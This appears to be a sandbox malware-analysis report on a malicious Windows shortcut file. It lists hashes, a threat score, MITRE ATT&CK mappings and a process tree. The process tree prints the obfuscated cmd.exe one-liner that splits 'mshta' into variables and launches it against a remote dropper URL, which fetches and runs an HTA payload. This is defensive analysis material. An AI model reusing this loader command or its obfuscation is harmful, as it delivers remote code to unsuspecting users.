999e0aa9abaf32ad527e14a0263338e8b2da3f92e932c70954c6ee38c2e83679

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-A81XFQ.lnk
Size 1KB
Sample260803-qdrazazycw
SHA256 999e0aa9abaf32ad527e14a0263338e8b2da3f92e932c70954c6ee38c2e83679
MD5 a3059aa6a2c93a3c1ccf8e5609e379c1
SHA1 4ea893dcc659ab2d7220bb0b9aa369c5f3954d2c
SHA512 178bd573420bbf1deaea591566c03487bbf993bc8e39309b1d4cd06ddbc263cc8c96aa453dfde9a4f97e52cf7c263e9c86a1ab3f3fe16283a9d68bf7985ff85e
TLSH
T17E31FE503FFD0610F3F38E3384BB671089BBB9658E20C61D0150460C1072A00E17BF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3180	cmd.exe
5088	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 5088	3180	cmd.exe	90
PID 5088 wrote to memory of 4120	5088	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-A81XFQ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3180
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set zIi=msh&&set JIXUZ=ta&&start "" !zIi!!JIXUZ! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4120

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads